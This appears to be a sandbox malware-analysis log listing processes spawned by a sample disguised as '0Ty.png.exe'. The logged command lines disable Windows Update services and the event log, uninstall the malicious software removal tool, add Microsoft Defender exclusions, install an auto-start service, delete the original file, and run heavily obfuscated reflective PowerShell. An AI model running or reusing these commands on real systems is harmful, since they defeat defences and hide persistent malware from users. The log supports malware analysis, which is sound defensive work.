Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
Source: C:\Windows\System32\sc.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
Source: C:\Windows\System32\sc.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
Source: C:\Windows\System32\sc.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\Windows\System32\sc.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\powercfg.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\Windows\System32\powercfg.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "HGLZSDMZ"
Source: C:\Windows\System32\sc.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:CKtjhrwjgtVV{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$OBERloAcZJvOcu,[Parameter(Position=1)][Type]$NRdDEuXiTK)$iAHAMhduySN=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+'l'+''+'e'+''+'c'+'t'+'e'+''+[Char](100)+''+[Char](68)+''+'e'+'l'+[Char](101)+''+[Char](103)+'a'+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+[Char](101)+'mor'+[Char](121)+''+[Char](77)+''+'o'+'dul'+'e'+'',$False).DefineType(''+[Char](77)+''+'y'+'De'+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+'t'+'e'+''+[Char](84)+''+'y'+'p'+'e'+'',''+[Char](67)+''+[Char](108)+'as'+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+'c,'+[Char](83)+'e'+'a'+''+[Char](108)+''+'e'+''+[Char](100)+''+[Char](44)+''+[Char](65)+'nsiC'+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+','+''+'A'+''+[Char](117)+''+'t'+''+[Char](111)+'Cla'+'s'+''+'s'+'',[MulticastDelegate]);$iAHAMhduySN.DefineConstructor(''+'R'+''+'T'+''+[Char](83)+''+'p'+''+[Char](101)+'c'+[Char](105)+'a'+[Char](108)+''+[Char](78)+'a'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g'+[Char](44)+'P'+[Char](117)+''+'b'+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$OBERloAcZJvOcu).SetImplementationFlags(''+'R'+'u'+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+'ged');$iAHAMhduySN.DefineMethod('I'+[Char](110)+'v'+'o'+''+[Char](107)+'e',''+[Char](80)+'ub'+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+''+'d'+''+'e'+''+[Char](66)+''+'y'+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+'w'+''+[Char](83)+''+'l'+''+[Char](111)+'t'+[Char](44)+''+[Char](86)+''+[Char](105)+'r'+[Char](116)+'u'+'a'+''+[Char](108)+'',$NRdDEuXiTK,$OBERloAcZJvOcu).SetImplementationFlags('Ru'+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+'e'+','+''+[Char](77)+'anag'+'e'+''+'d'+'');Write-Output $iAHAMhduySN.CreateType();}$qragMIYqXnsdW=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+''+'s'+'te'+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+[Char](114)+'os'+[Char](111)+'f'+'t'+''+[Char](46)+''+[Char](87)+''+'i'+'n3'+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+'s'+[Char](97)+'f'+[Char](101)+''+[Char](78)+'a'+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+'M'+'e'+[Char](116)+'ho'+[Char](100)+''+'s'+'');$OvDFGAtJneNnnn=$qragMIYqXnsdW.GetMethod(''+'G'+''+[Char](101)+'t'+'P'+''+[Char](114)+''+[Char](111)+'c'+[Char](65)+
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "HGLZSDMZ" binpath= "C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe" start= "auto"
Source: C:\Windows\System32\sc.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "HGLZSDMZ"
Source: C:\Windows\System32\sc.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\user\Desktop\0Ty.png.exe"
Source: C:\Windows\System32\sc.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\choice.exe choice /C Y /N /D Y /T 3
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
Source: C:\Windows\System32\sc.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
Source: C:\Windows\System32\sc.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\Windows\System32\sc.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\powercfg.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\Windows\System32\powercfg.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Process created: C:\Windows\System32\dialer.exe dialer.exe
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:DwpcGqRaxEQb{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$kwrQxTwRDzvgHI,[Parameter(Position=1)][Type]$doUOZqbWki)$ZycFOOCRuuH=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+'d'+'D'+''+[Char](101)+'l'+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+[Char](101)+''+[Char](109)+'o'+[Char](114)+'y'+'M'+'o'+[Char](100)+'u'+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+'e'+[Char](108)+''+'e'+'ga'+[Char](116)+''+[Char](101)+'T'+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+'a'+'s'+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+'u'+'b'+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+'S'+''+[Char](101)+''+'a'+''+'l'+''+[Char](101)+''+[Char](100)+''+','+''+[Char](65)+''+[Char](110)+''+'s'+''+'i'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+'o'+''+[Char](67)+'lass',[MulticastDelegate]);$ZycFOOCRuuH.DefineConstructor(''+[Char](82)+'T'+[Char](83)+''+'p'+'e'+'c'+''+[Char](105)+''+[Char](97)+''+'l'+''+'N'+''+[Char](97)+''+[Char](109)+''+[Char](101)+','+[Char](72)+''+'i'+'d'+[Char](101)+'B'+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+','+[Char](80)+'u'+'b'+'l'+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$kwrQxTwRDzvgHI).SetImplementationFlags(''+'R'+''+'u'+'nt'+'i'+'m'+[Char](101)+','+'M'+''+'a'+''+[Char](110)+''+[Char](97)+'g'+'e'+''+[Char](100)+'');$ZycFOOCRuuH.DefineMethod(''+[Char](73)+'n'+[Char](118)+''+'o'+''+'k'+''+'e'+'',''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+'H'+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+'Sig'+','+''+[Char](78)+''+'e'+''+[Char](119)+''+'S'+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+'ir'+[Char](116)+''+'u'+''+'a'+''+[Char](108)+'',$doUOZqbWki,$kwrQxTwRDzvgHI).SetImplementationFlags(''+'R'+''+'u'+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+'a'+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $ZycFOOCRuuH.CreateType();}$PIBnzpATGOiSb=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+''+'t'+''+'e'+''+[Char](109)+''+[Char](46)+'d'+'l'+'l')}).GetType(''+[Char](77)+'i'+[Char](99)+''+[Char](114)+'o'+'s'+''+'o'+''+[Char](102)+''+[Char](116)+'.'+[Char](87)+'in'+[Char](51)+''+[Char](50)+''+'.'+'Uns'+[Char](97)+''+[Char](102)+'e'+'N'+''+[Char](97)+'t'+'i'+''+[Char](118)+'eM'+[Char](101)+''+[Char]
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{cf3d95db-0758-4a82-bfdc-72f769e75e83}
Source: C:\Windows\System32\winlogon.exe Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{0efb55d5-e8e1-4bc9-b3c4-28c83a2f4e5a}
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force Jump to behavior
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart Jump to behavior
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc Jump to behavior
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc Jump to behavior
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv Jump to behavior
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits Jump to behavior
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc Jump to behavior
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 Jump to behavior
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 Jump to behavior
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 Jump to behavior
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 Jump to behavior
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe Jump to behavior
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "HGLZSDMZ" Jump to behavior
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "HGLZSDMZ" binpath= "C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe" start= "auto" Jump to behavior
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog Jump to behavior
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "HGLZSDMZ" Jump to behavior
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\user\Desktop\0Ty.png.exe" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{cf3d95db-0758-4a82-bfdc-72f769e75e83} Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\choice.exe choice /C Y /N /D Y /T 3 Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Process created: C:\Windows\System32\dialer.exe dialer.exe Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{0efb55d5-e8e1-4bc9-b3c4-28c83a2f4e5a}
Source: C:\Users\user\Desktop\0Ty.png.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\wusa.exe Section loaded: dpx.dll Jump to behavior
Source: C:\Windows\System32\wusa.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Windows\System32\wusa.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\wusa.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\wusa.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\powercfg.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\System32\powercfg.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\System32\powercfg.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\System32\powercfg.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Windows\System32\powercfg.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\System32\powercfg.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\System32\powercfg.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\System32\powercfg.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Windows\System32\powercfg.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\System32\powercfg.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\System32\powercfg.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\System32\powercfg.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Windows\System32\powercfg.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\System32\powercfg.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\System32\powercfg.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\System32\powercfg.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Windows\System32\dialer.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\dialer.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\dialer.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\dialer.exe Section loaded: kernel.appcore.dll Jump to behavior
